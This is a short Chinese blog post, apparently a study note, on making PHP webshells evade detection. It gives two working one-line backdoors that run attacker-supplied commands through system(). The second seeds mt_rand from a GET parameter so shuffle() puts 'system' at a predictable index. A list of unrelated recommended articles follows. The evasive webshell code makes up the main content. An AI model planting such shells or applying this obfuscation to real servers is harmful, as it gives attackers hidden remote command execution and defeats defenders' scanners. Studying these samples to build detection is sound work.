记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
愚者游世12 小时前
list Initialization各版本异同
开发语言·c++·学习·程序人生·算法
szcsun512 小时前
机器学习(四)--无监督学习
人工智能·学习·机器学习
.小墨迹12 小时前
apollo中车辆的减速绕行,和加速超车实现
c++·学习·算法·ubuntu·机器学习
上海云盾第一敬业销售12 小时前
游戏盾在保障游戏安全方面的独特优势
网络·安全·游戏
好奇龙猫12 小时前
【大学院-筆記試験練習:线性代数和数据结构(22)】
学习
困死,根本不会12 小时前
OpenCV摄像头实时处理:九宫格棋盘检测与棋子识别
笔记·opencv·学习
乾元12 小时前
暗网情报:自动化采集与情感分析在威胁狩猎中的应用
运维·网络·人工智能·深度学习·安全·架构·自动化
YangYang9YangYan12 小时前
2026高职大数据专业数据分析学习必要性
大数据·学习·数据分析
世界尽头与你12 小时前
(修复方案)CVE-2022-21587: Oracle E-Business Suite 访问控制错误漏洞
数据库·安全·oracle·渗透测试
wdfk_prog13 小时前
[Linux]学习笔记系列 -- [drivers][gpio[[gpiolib]
linux·笔记·学习